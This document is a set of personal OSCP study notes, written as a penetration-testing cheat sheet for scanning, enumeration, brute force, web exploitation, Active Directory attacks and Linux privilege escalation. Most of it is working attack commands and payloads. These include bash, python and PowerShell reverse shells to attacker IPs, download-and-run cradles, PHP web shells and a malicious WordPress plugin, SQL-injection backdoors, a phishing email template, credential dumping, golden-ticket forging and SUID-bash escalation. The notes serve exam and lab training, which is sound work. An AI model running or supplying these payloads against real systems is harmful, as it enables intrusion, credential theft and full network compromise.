Starting commands:
sudo nmap -p- -v -T4 -sC -A $IP --open
to reveal $port1
, $port2
, and so onsudo nmap -sC -A -p$port1,$port2,etc $IP -T4
sudo nmap -v -p- -sC -sV -T4 192.168.100.101
(Checks all ports)(T4/5 for additional speed)(-Pn to assume host is up)sudo nmap -v -p- -sC -sV 192.168.100.101 -T4 -oN openports.txt && grep '/tcp' openports.txt | cut -d '/' -f 1 | paste -sd ','
(faster and echos open ports)sudo nmap -sU 192.168.100.101
(Checks UDP ports specifically)nmap flags: -sS (SYN Scan) -sU (UDP Scan) -sT (TCP Scan) -sV (Version enum) -O (OS Fingerprinting) -Pn (Assume host is up) -p (Ports) -A (runs all scans) -n (No DNS) -T 0-5 (Timing of scans, 0 is fastest, 3 is default)
nmap --script=$script1.nse, $script2.nse $IP
ls /usr/share/nmap/scripts| grep $searchTerm
nmap --script-help=$script.nse
sudo nmap --script=smb* -p 445 -Pn $IP
./nmapAutomator.sh --host $Ip --type All (or Network/Port/Script/Full/UDP/Vulns/Recon)
With no creds:
ftp anonymous@192.168.100.101
To an alternate port:
ftp $user@$IP $port
With a username:
hydra -L usernames.txt -P passwords.txt 192.168.100.101 ftp
hydra -l $user -P passwords.txt 192.168.100.101 ftp
With a password:
hydra -L usernames.txt -p $password 192.168.100.101 ftp
ssh -i $key $user@$target
alternate port ssh -p $port $user@$target
You can connect to the ssh service via netcat to grab the banner and search the version for OS info.
nc -nv $IP 22
With no creds:
hydra -L usernames.txt -P passwords.txt 192.168.100.101 ssh
With a username:
hydra -l $user -P passwords.txt 192.168.100.101 ssh
With a password:
hydra -L usernames.txt -p $password 192.168.100.101 ssh
Useful nmap scripts:
SSH permissions too open?
chmod + 600 $key.id_rsa
Commands:
smtp-user-enum -M VRFY -U users.txt -t $host
smtp-user-enum -M EXPN -u $username -t $host
smtp-user-enum -M RCPT -U users.txt -T $hostlist
smtp-user-enum -M EXPN -D $domain -U users.txt -t $host
Swaks (Sending email from command line when you have creds for mail server)
swaks --to <recipient@email.com> --from <sender@email.com> -ap --attach @<attachment> --server <mail server ip> --body "message" --header "Subject: Subject" --suppress-data
nc -v $host 25
helo pop
MAIL FROM: user@domain
(this may not need to be a real user)RCPT TO: targetUser@domaain
(does need to be real)DATA
Subject: RE: password reset
Hi user,
Click this link or your skip manager gets it - http://$kaliIP/
Regards,
.
QUIT
Bye
DNS Enumeration might give you information on other hosts in the network. Keep in mind, you will probably have to mess with /etc/conf for this!!!
If you are looking for DNS servers specifically, use nmap to quickly and easily search:
nmap -sU -p53 $network
Normal DNS Query:
nslookup $IP
Query for MX Servers within a domain:
dig $domain MX
Query for Name Servers within a domain:
dig $domain NS
DNS Zone Transfer (This will give you all of the marbles!)
dig axfr @$nameServer $domain
dnsrecon -d domain -a --name_server server
If you want to brute force subdomain enum, try dnsmap:
dnsmap $domain
gobuster dir -u $URL -w /usr/share/wordlists/$wordlist.txt -t 5 -x .php, .txt -o gobuster.txt
-o
the resulting output is called results.txt-x
checks for those extensionsgobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt -t 5
gobuster dir -u http://$IP/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -k
dirb http://$IP -z 10
-k
flag-feroxbuster -u $URL
feroxbuster -u $URL -w $wordlist
feroxbuster -u $URL -t $numberOfThreads
feroxbuster -u $URL --timeout $timeoutInSeconds
feroxbuster -u $URL --filter-status 404,403,400 --thorough -r
feroxbuster -u $URL -w $wordlist
nikto -h http://foo.com -port 8000
need to edit /etc/hosts with the subdomain
With gobuster gobuster dns -d $domain.local -t 25 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
With wfuzz: wfuzz -c -f sub-domains -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u 'domain.com' -H "Host: FUZZ.domain.com" --hw 93
where:
-c
flag prints output with colors-f
flag outputs to a file (sub-domains
)-w
flag is to name the wordlist-u
flag is to name the url-H
flag is to pass the header--hw
flag is to hide results with a word count of 93. You’ll need to run without this flag and then see what you are getting too much of.With ffuf: ffuf -u http://$IP -H 'Host: FUZZ.domain.com' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
dirsearch: dirsearch -u http://dev.devvortex.htb/”
gobuster dir -u http://$IP/ -e -s "200,204,403,500" -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://[IP]/cgi-bin/user.sh
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/[IP]/53 0>&1' http://$IP/cgi-bin/user.sh
http-shellshock --script-args uri=[PATHTOCGI]
On Linux, we can use the /etc/passwd
file to test directory traversal vulnerabilities. On Windows, we can use the file C:\Windows\System32\drivers\etc\hosts
to test directory traversal vulnerabilities, which is readable by all local users. In Linux systems, a standard vector for directory traversal is to list the users of the system by displaying the contents of /etc/passwd. Check for private keys in their home directory, and use them to access the system via SSH.
/etc/passwd
through Burp/etc/passwd
as well as with traversal sequences like ../../
../
maybe be stripped:
/image?filename=....//....//....//etc/passwd
(for if application strips path traversal sequences from the user-supplied filename before using it)../../../etc/passwd
- URL Encoded: %2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
- Double URL encoded: %252e%252e%252f%252e%252e%252f%252e%252e/etc/passwd
image?filename=/var/www/images/../../../../etc/passwd
/image?filename=../../../etc/passwd%00.jpg
%00
is a null byte which effectively terminates the file path before the extension. **Examples: %20 = " "
and %5C = "\"
and %2e = "."
and %2f = "/"
username=user1&password=pass1&ffa=testmfa"%26%26bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.179%2F7171%200%3E%261%22"
"&&$encondedCommand"
(incl. quotes).<?php echo system($_GET['cmd']); ?>
Then submit &cmd=$command
in request i.e. &cmd=whoami
bash -c "bash -i >& /dev/tcp/$IP/4444 0>&1"
This might need to be in the /etc/apache2/apache2.conf file for php to execute:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
payload = .asp/.aspx shell
C:\inetpub\wwwroot
iisstart.htm
= default welcome page
.htaccess for IIS servers: Similarly, developers can make directory-specific configuration on IIS servers using a web.config file. This might include directives such as the following, which in this case allows JSON files to be served to users:
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
Initial enumeration: wpscan --url http://$url --api-token $APIToken
/wp-admin
is the admin login page.
If you get into the admin page, you can upload malicious plugins. Plugins are defined as a zip file with 2 php files inside. (This may not be true provided the below syntax info is included in the php exploit file - so one file total with this or two files - one with this and one with the exploit). Syntax below:
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Author Name
* Author URI: http://www.website.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/$kaliIP $port 0>&1'");
?>
http://$target/wp-content/plugins/$zipName/$phpFileNmae
echo "AddType application/x-httpd-php .xxx" > .htaccess
Note that in order to exploit these vulnerabilities, the allow_url_include setting needs to be enabled for PHP, which is not the case for default installations. That said, it is included in the material, so it makes sense to be aware of it. Ex: exploiting a page called admin.php
curl http://$IP/$directory/index.php?page=admin.php
<body>
tag is not closed (with a </body>
tag at the end), the page could be vulnerable. Let’s try to exploit it with the php://filter tag.
curl http://$IP/$directory/index.php?page=php://filter/**convert.base64-encode**/resource=admin.php
echo "$base64Text" | base64 -d
curl "http://$IP/$directory/index.php?page=**data://text/plain**,<?php%20echo%20system('ls');?>"
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
"http://\<host>/\<directory>/index.php?page=**data://text/plain;base64**,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
1. ADD THE DNS NAME TO YOUR /etc/hosts
FILE
dc.domain.com
AND domain.com`To enumerate accounts ON DC:
kerbrute userenum --dc $ip -d CONTROLLER.local Users.txt
kerbrute_linux_arm userenum -d $domain.com --dc $IP users.txt
To check for users on 445 with RPC:
rpcclient -U "" -N $IP
- enumdomusers
- querygroup 0x200
- querygroupmem 0x200
- queryuser 0x1f4
enum4linux -u "" -p "" -a <DC IP> && enum4linux -u "guest" -p ""-a <DC IP>
smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>
smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
Network File System allows you mount and access files on a remote system as if they were on your local machine. RPC binds to 111 and you can use that port to enumerate other services using rpc (rpc-info script)
You can then use the nmap scripts to gather as much info on the nfs side as possible.
nmap -p 111 --script nfs* $IP
Then you can mount the shared drive to your own machine and dig into it.
sudo mount -o nolock $IP:/$shareDirectory $localMount
If you cannot access the file:
ls -l
adduser
sudo sed -i -e 's/[CURRENTUUID]/[NEWUUID]/g' /etc/passwd
cat /etc/passwd|grep $user
su
to the new user and read away.Useful nmap scripts: rpc-info.se nfs-ls.se nfs-showmount.se nfs-statfs.se
Enumerate users: rpcclient -N -U "" $IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
Change users password: setuserinfo $username 23 '$password'
rpcinfo $IP
Passwordspray:
for u in $(cat valid_users.txt);do rpcclient -U "$u%$password" -c "getusername;quit" 172.16.5.5 | grep Authority; done
tip - use command recurse
before ls
or dir
nxc smb 192.168.101.100 -u '' -p '' --shares
nxc smb 192.168.101.100 -u '' -p '' --users
nxc ldap 10.10.10.10 -u '' -p '' -M get-desc-users
nxc ldap 10.10.10.10 -u '' -p '' --password-not-required --admin-count --users --groups
nmap --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -p445 $IP -Pn
(SambaCry and EternalBlue)To probe NetBIOS info:
nbtscan -v $IP
-The hex codes reference different services. You can look up what they mean, but 20 means File Sharing services.
To list what resources are being shared on a system:
smbclient -L $IP -N
smbclient -L $IP -U $user
smbclient //$IP/$shareName -U $user%$password
smbclient //$IP/$shareName -U $user --pw-nt-hash $NTLMHash
smbclient //$IP/$shareName --directory path/to/directory --command "get file.txt"
smbclient //$IP/$shareName --directory path/to/directory --command "put file.txt"
Linux: smbclient //server/share
Windows: smbclient //server/share
or smbclient \\\\server\\share
To display share information on a system:
nmblookup -A $IP
Enum4linux is a great tool to gather information through SMB (note, it tests anonymous login only by default):
enum4linux -a $IP
enum4linux-ng -a $IP
Brute force using hydra:
hydra -l $User -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt smb://$IP/ -V -I
smbmap -u $user -p $password -d INLANEFREIGHT.LOCAL -H $IP -R '$directory' --dir-only
- use without --dir-only
to show all files
smbclient \\\\$IP\\SYSVOL -U "domain.offsec\$username"
recurse on
prompt off
mget *
exit
find . -type f
nxc smb 10.10.10.10 -u Username -p Password -X 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AY...AKAApAA=='
netexec smb 10.10.10.10 -u Username -p Password -X 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AY...AKAApAA=='
SMB 10.10.10.10 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:EXAMPLE.com) (signing:True) (SMBv1:False)
SMB 10.10.10.10 445 DC [+] EXAMPLE.com\Username:Password (Pwn3d!)
SMB 10.10.10.10 445 DC [-] WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method
nxe smb $IP -u users.txt -p 'password' -d domain.com --continue-on-success
SNMP is that it operates using community strings which means it sends passwords when it sends data. Can be sniffed with wireshark. Versions:
There are 2 kinds of community strings: Public (Read Access) and Private (Write Access).
You can also brute-force the string with nmap or Hydra:
nmap --script=snmp-brute $targetIP
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt snmp://$targetIP/
But you need community string first:
onesixtyone -c $(file containing community strings (public, private, manager)) -i $(file containing target ips)
snmpwalk -c public -v1 -t 10 $targetIP
: where public is the community string (could be private or mamanger)snmpwalk -c public -v1 192.168.50.151 $OIDString
- for specific infosnmpwalk -v $version -c public $IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull
snmpwalk -v 2c -c public 192.168.243.156 NET-SNMP-EXTEND-MIB::nsExtendObjects
|OID| Target |
|--|--|
| 1.3.6.1.2.1.25.1.6.0 | System Processes |
| 1.3.6.1.2.1.25.4.2.1.2 | Running Programs |
| 1.3.6.1.2.1.25.4.2.1.4 | Processes Path |
| 1.3.6.1.2.1.25.2.3.1.4 | Storage Units |
| 1.3.6.1.2.1.25.6.3.1.2 | Software Name |
| 1.3.6.1.4.1.77.1.2.25 | User Accounts |
| 1.3.6.1.2.1.6.13.1.3 | TCP Local Ports |
snmpwalk -Os -c public -v 1 $IP system
snmp-brute snmp-win32-services.nse snmp-win32-shares.nse snmp-win32-software.nse snmp-win32-users.nse
You can even overwrite and set some OIDs if things are misconfigured:
snmpset -c $communityString -v $version $OID $VALUE
`snmpenum $targetIP $communityString $configFile
sudo nmap -sC -A -Pn --script "*ldap*" $IP -oN outputfile.txt'
(use output.ldap)ldapdomaindump -u $domain.com\\ldap -p '$ldapPassword' $domain.com -o $outputDirectory
ldapsearch -x -H ldap://$IP -b "dc=$name,dc=offsec" > $name.ldapsearch
(grep for cn/description/sAMAccountName)
$name.offsec
ldapsearch -x -H ldap://172.16.227.10 -D '$domain.com\$user' -w '$password' -b "DC=$domain,DC=com"
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
ldapsearch -x -b "dc=support,dc=htb" -H ldap://support.htb -D ldap@support.htb -W "*"
"*"
: This indicates the search filter. Using "*"
means that it will return all entries in the specified base DN.ldapsearch -x -b "dc=support,dc=htb" -H ldap://support.htb -D ldap@support.htb -W "(objectClass=user)"
Windapsearch
python3 windapsearch.py --dc-ip $dcIP -u $user@domain.com -p $pass --da
--da
means to enumerate domain admins-PU
enumerates privileged usersFirst: ldapsearch -H ldap://monitored.htb -x -s base namingcontexts
Then: ldapsearch -H ldap://monitored.htb -x -b "dc=monitored,dc=htb"
SELECT @@version;
SELECT name FROM sys.databases;
(to list all available db’s)
SELECT * FROM $non-default-db.information_schema.tables;
select * from $non-default-db.dbo.$table;
See if we can impersonate a user:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
If we can impersonate $user-reader
:EXECUTE AS LOGIN = '$user-reader'
use $user
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
xp_dirtree C:\inetpub\wwwroot
for examplehttps://medium.com/@opabravo/manually-exploit-blind-sql-injection-with-ffuf-92881a199345
mysql --host $IP -u root -p$password
--skip-ssl
mysql -u $user -p $database
(p flag is db password, have to enter that after)select system_user();
select version();
show databases;
- SELECT * FROM $tableName WHERE $column='$field;'
https://medium.com/@opabravo/manually-exploit-blind-sql-injection-with-ffuf-92881a199345
grep -r $searchTerm /usr/share/seclists
hydra -l $username -P /usr/share/wordlists/rockyou.txt -s $alternatePort ssh://$IP
hydra -l $user -P /usr/share/wordlists/rockyou.txt $IP http-post-form " /index.php:fm_usr=user&fm_pwd=\^PASS^:Login failed. Invalid"
hydra -l '$username' -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt $IP http-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect"
"$loginpage:$parameters:$failMessage$"
hydra -l admin -P /usr/share/wordlists/rockyou.txt $URL http-get
hydra -L $userlist -p $pass -s 8081 $IP http-post-form '/$path:username=^USER64^&password=^PASS64^:Incorrect'
hydra -l $user -P $passlist 'http-post-form://192.168.198.61:8081/$path$:username=^USER64^&password=^PASS64^:C=/:F=403'
hashcat -m 0 $hashfile /usr/share/wordlists/rockyou.txt -r 15222.rule --force --show
hashcat -m 13400 $keepassHashFile /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force --show
hashcat --help | grep -i "KeePass"
hashcat -h | grep -i "ssh"
ssh2john id_rsa > ssh.hash
keepass2john name.kdbx > keepass1.hash
john --format=krb5tgs sql_svc.kerberoast --wordlist=/usr/share/wordlists/rockyou.txt
cewl
cewl -d -m 3 $URL -w $output.txt
cewl $URL > pass
cewl --lowercase $URL
Remember: Enumerate deeply, exploit simply.
Did you do all of these?
sudo nmap -v -p- -sC -sV 192.168.100.101
sudo nmap -sU 192.168.100.101
nxc smb 192.168.101.100 -u '' -p '' --shares
nxc smb 192.168.101.100 -u '' -p '' --users
nxc ldap 192.168.101.100 -u '' -p '' -M get-desc-users
nxc ldap 192.168.101.100 -u '' -p '' --password-not-required --admin-count --users --groups
enum4linux -a $IP
Did you fuzz for extensions “–extensions php,rb,txt” in feroxbuster?
Did you check for subdomains too, not just subdirectories?
Did you add your domain name to the /etc/hosts
file?
If you see a real blog on a lab (as opposed to Lorem Ipsum), read it
Use nc
to connect directly with a port to see if you can get any output. This can grab banners.
Upload a file to SMB/FTP server to try and execute from the web server
Did you try to use different ports? Specifically the ports the target has open for reverse shells?
Did you try to use domain.com/user
or just user
?
Same with local-auth
Try crackstation
or NTLM.pw
When facing a Windows server with so many ports, I’ll typically start working them prioritized by my comfort level. I’ll generate a tiered list, with some rough ideas of what I might look for on each:
Try https://revshells.com to generate shells using a given port and IP
cmd
to /bin/bash
or whatever as neededpowershell IEX(IWR http://192.168.45.230/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.45.230 443
IEX(New-Object System.Net.WebClient).DownloadString('http://${ATTACKER_IP}:${ATTACKER_HTTP_PORT}/powercat.ps1'); powercat -c ${ATTACKER_IP} -p ${ATTACKER_PORT} -e powershell
busybox nc 192.168.xxx.xxx 1234 -e sh
Nested quotes:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
As these are my OSCP notes, and there is no longer a buffer overflow machine on the exam, I’m leaving this content out of the guide for brevity. Instead I’ll link a resource which turned out to be better and more succinct than the notes I took on the subject when I went through the course. Here is V1n1v131r4’s guide on Buffer Overflows.
For the fields that say “place your shellcode here,” such code can be generated using msfvenom like this:
msfvenom -p windows/shell_reverse_tcp LHOST=$kaliIP LPORT=443 -f powershell -v sc
msfvenom -p $payload LHOST=$targetIP LPORT=$port EXITFUNC=THREAD -f $format -a $arch --platform $platform -e $encoder > $filename
Check for Directory Traversals, LFI and RFI on php pages. Consider inserting php code into log files and then running LFI exploits to run code.
SAMPLE LFI PHP WRAPPER PAYLOAD: http://[IP]/menu.php?file=data:text/plain,<?php echo shell_exec(“dir”) ?>
bash -c "bash -i >& /dev/tcp/$kaliIP/$kaliPort 0>&1"
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
SearchSploit/Exploit-DB
searchsploit $searchterm
searchsploit -x $file
searchsploit -m $file` (copies to working directory)
/usr/share/exploitdb/exploits/
TIPS:
SEC_UNKNOWN_ISSUER
error can be bypassed with the verify=False
param in PythonBurp Cheat sheet Rana Kalil Video playlist SQLi Cheatsheet from Codingo
Goal is to initially find a location for SQLi and hopefully determine what the actual query is Test possibles injection locations:
'
' --
' OR 1=1
' OR 1=1; -- -
'UNION SELECT * FROM users WHERE 1=1; -- -
--
is for comments meaning that everything after that (including what you don’t see) will not be included, so if there is another clause, like ‘AND variable = 1’, it will return everything whether than variable is 1 or 0.
Ex: username=administrator'--'&password=password123
UNION SELECT - selecting data from an additional table in addition to the intended table
Determine Number of Columns:
$validQuery ORDER by 1
$validQuery ORDER by 2
Start with UNION ALL SELECT 1, 2, X
. Then you can determine which column has the most space, making room for more fun commands/exploits (Commands below are based on MariaDB, others might be different)
Enumeration Examples:
UNION ALL SELECT 1, 2, @@version
UNION ALL SELECT 1, 2, user ()
UNION ALL SELECT 1, 2, table_name FROM information_schema.tables
- this can grab the table name, like with “users” below
UNION ALL SELECT 1, 2. column_name FROM information_schema.columns WHERE table_name='users'
UNION ALL SELECT 1, username, password FROM users
UNION ALL SELECT 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
- You might be able to use the load_file function to execute code on the system as well:UNION ALL SELECT 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
- using the into OUTFILE to write code, and insert it into the system.
$Host/backdoor.php?cmd=$cmd
SELECT
instead of SELECT
to bypass prohibited keywords
Cheatsheet from notchxor.
try Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
- to list users with an SPN (kerberoastable)Get-ADGroup -Filter * | select name
- list groupsGet-ADGroup -Identity "$groupName"
- get info about that groupGet-ADGroupMember -Identity "$groupName"
- list users of the groupImport-Module .\adPEAS.ps1
then Invoke-adPEAS
sudo neo4j console
Import-Module .\PowerView.ps1
- (May Need “Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser”)Get-NetDomain
Get-NetUser
Get-NetUser | select cn
(common name)Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Fart Department" | select member
(get members of the Fart Department)Get-NetComputer
Get-ObjectAcl -Identity $user
Get-ObjectAcl -Identity "<group>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Convert-SidToName $SID
- (like S-1-5-21-1987370470-658905705-1781884369-1103)Find-LocalAdminAccess
- (scanning to find local admin privileges for our user)Get-NetSession -ComputerName $computerName
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity
hive.)Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetUser -SPN | select samaccountname,serviceprincipalname
Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\
(for example)Get-DomainUser -PreauthNotRequired
Get-DomainPolicy
enumerate and retrieve password policiesRun Bloodhound from attacker (rather than using Sharphound):
bloodhound-python -u $user -p '$password' -ns $ip -d domain.offsec -c all
Snaffler.exe -s -d $domain.com -o snaffler.log -v data
- iterates through domain shares hunting for interesting filesIf you have a list of potential users, you can use kerbrute to check it for real users
The main ticket that you will see is a ticket-granting ticket these can come in various forms such as a .kirbi (most common) for Rubeus or .ccache for Impacket. A ticket is typically base64 encoded and can be used for various attacks. The ticket-granting ticket is only used with the KDC in order to get service tickets. Once you give the TGT the server then gets the User details, session key, and then encrypts the ticket with the service account NTLM hash. Your TGT then gives the encrypted timestamp, session key, and the encrypted TGT. The KDC will then authenticate the TGT and give back a service ticket for the requested service. A normal TGT will only work with that given service account that is connected to it however a KRBTGT allows you to get any service ticket that you want allowing you to access anything on the domain that you want.
kerbrute userenum --dc $ip -d CONTROLLER.local User.txt
Pass the Ticket - Access as a user to the domain required
SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running. Requires access as any user Retrieves a TGS-REP hash
sudo impacket-GetUserSPNs -request -dc-ip $IP $domain.com/$user
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
/tgtdeleg
because it ensures RC4 which is fasterPowerView.ps1
Get-DomainUser * -spn | select samaccountname
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Requires access as any user with PreauthNotRequired on Windows
Impacket-GetNPUsers -dc-ip $IP -request -outfile $outfile.asreproast $domain.com/$user
.\Rubeus.exe asreproast /nowrap
Get-DomainUser -PreauthNotRequired
This is forging our own service ticket This requires the following three pieces of information:
Get-ADdomain
(it will look like this: S-1-5-21-1969309164-1513403977-1686805993
)Get-ADUser -Filter {SamAccountName -eq "$user"} -Properties ServicePrincipalNames
MSSQL/nagoya.nagoya-industries.com
-user-id 500 Administrator
Local (from mimikatz):
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:$domain.com /ptt /target:$host.$domain.com /service:http /rc4:$NTLM_hash /user:$user`
patsy
, the output will say Golden ticket for 'patsy@domain.com' successfully submitted for current session.
This is where we impersonate a domain controller using the user account with Replicating Directory Changes, Replicating Directory Changes All, and Replicating Directory Changes in Filtered Set rights. (Domain Admins, Enterprise Admins, and Administrators by default).
lsadump::dcsync /user:$domain\$user
where ~user$ is the target we want like corp\david
impacket-secretsdump -just-dc-user $Targetuser $domain.com/$pwnedUser:"$password"@$IP
There are multiple different kinds of pass the hash attacks, but they are performed by impacket for example:
impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73
Overpass the hash involves “over” abusing an NtLM user hash to gain a full TGT, which we can then use to obtain a Ticket Granting Service (TGS). In other words we turn an NTLM hash into a Kerberos ticket and avoid the use of NTLM authentication.
sekurlsa::pth /user:$user /domain:$domain.com /ntlm:$NTLM /run:powershell
whoami
on this powershell, it will say the ^user above rather than which user we logged in withnet use \\smbserver
there will be a ticket cached. We can use klist
to prove it.Requires access to the domain as a user. The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.
sekurlsa::tickets /export
.kirbi
file) which we can find by searching dir *.kirbi
. It will look like [0;12bd0]-0-0-42830000-patches@cifs-web42.kirbi
.kerberos::ptt [0;12bd0]-0-0-42830000-patches@cifs-web42.kirbi
klist
.Skeleton Key - Full domain compromise (domain admin) required
Requires full domain compromise Local (from mimikatz):
privilege:debug
lsadump::lsa /patch
krbtgt
account. Once you have these two items, you can do this from any machine.kerberos::purge
kerberos::golden /user:$user /domain:$domain.com /sid:SID /krbtgt:$krbtgtNTLM /ptt
($user is whoever we want to have admin permissions)misc::cmd
- launches new command prompt from which we can use PsExec.exe \\$targetmachine cmd.exe
The Distributed Component Object Model is a system for creating software components that interact with one another. Interaction with it is performed over RPC on TCP port 135.
# create instance of Excel.Application object
$com [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "[target_workstation]"))
# copy Excel file containing VBA payload to target
$LocalPath = "C:\Users\[user]\badexcel.xls
$RemotePath = "\\[target]\c$\badexcel.xls
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
# create a SYSTEM profile - required as part of the opening process
$path = "\\[target]\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
# open Excel file and execute macro
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
$com.Run("mymacro")
From an elevated PowerShell prompt, we can instantiate a remote MMC (Microsoft Management Console) 2.0 application by specifying the target IP of FILES04 as the second argument of the GetTypeFromProgID method.
$dcom =[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$targetIP"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
/calc with whatever powershell script
Once we execute these two PowerShell lines from CLIENT74, we should have spawned an instance of the calculator app.
This technique probably won’t come up on the exam and may just be a noisier version of DC Sync
Windows SDK includes vshadow.exe
. The goal of this attack is to abuse vshadow to extract the AD database NTDS.dit
file.
vshadow.exe -nw -p C:
Shadow copy decice name:
$ShadowCopyNamecopy $ShadowCopyName\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
ntds.dit.bak
and system.bak
to kaliimpacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
id
sudo -l
- what can we run using sudohistory
- could have some juicy details in historycat /etc/passwd
openssl passwd $newPassword
root:<this spot>:etc
within the /etc/passwd fileuname -a
- kernel exploits
cat /etc/issue
hostname
ps -aux
watch -n 1 "ps -aux | grep $searchTerm$"
ipconfig
ss -anp or netstat
dpkg -l
(to list applications installed by dpkg)find / -writable -type d 2>/dev/null
(find writable directories)history
or cat
any /home/.history
files/home/.ssh
for keyssu root
(can’t hurt to try)sudo tcpdump -i lo -A | grep "pass"
ip neigh
- ipv4 neighbor tablenetstat -ano
- what ports are open and what communications existdpkg -l
- list installed programs/var
, /opt
, /usr/local/src
and “/usr/src/
for anything interestingfind / -writable -type d 2>/dev/null
- find writable directoriesgrep --color=auto -rnw '/' -ie "$searchTerm" --color=always 2> /dev/null
(searches for the term and spits it out in red)SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it.
find / -user root -perm -4000 -print 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -perm -u=s 2>/dev/null | xargs ls -l
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
uname -a
- check which kernel
lsmod
- List Kernel modules
/sbin/modinfo $moduleName
history
find /etc -type f -exec grep -i -I "pass" {} /dev/null \; 2>/dev/null
find / -name id_rsa 2>/dev/null
or authorized_keys
sudo -l
then “gtfobins.github.io”Take note of where the PATH is if the full PATH isn’t declared
grep "CRON" /var/log/syslog
ls -lah /etc/cron*
cat /etc/crontab
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > $cronScript
+s
strace $binary 2>&1
- strace intercepts and records the system calls which are called by a process and the signals which are received by a process.
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
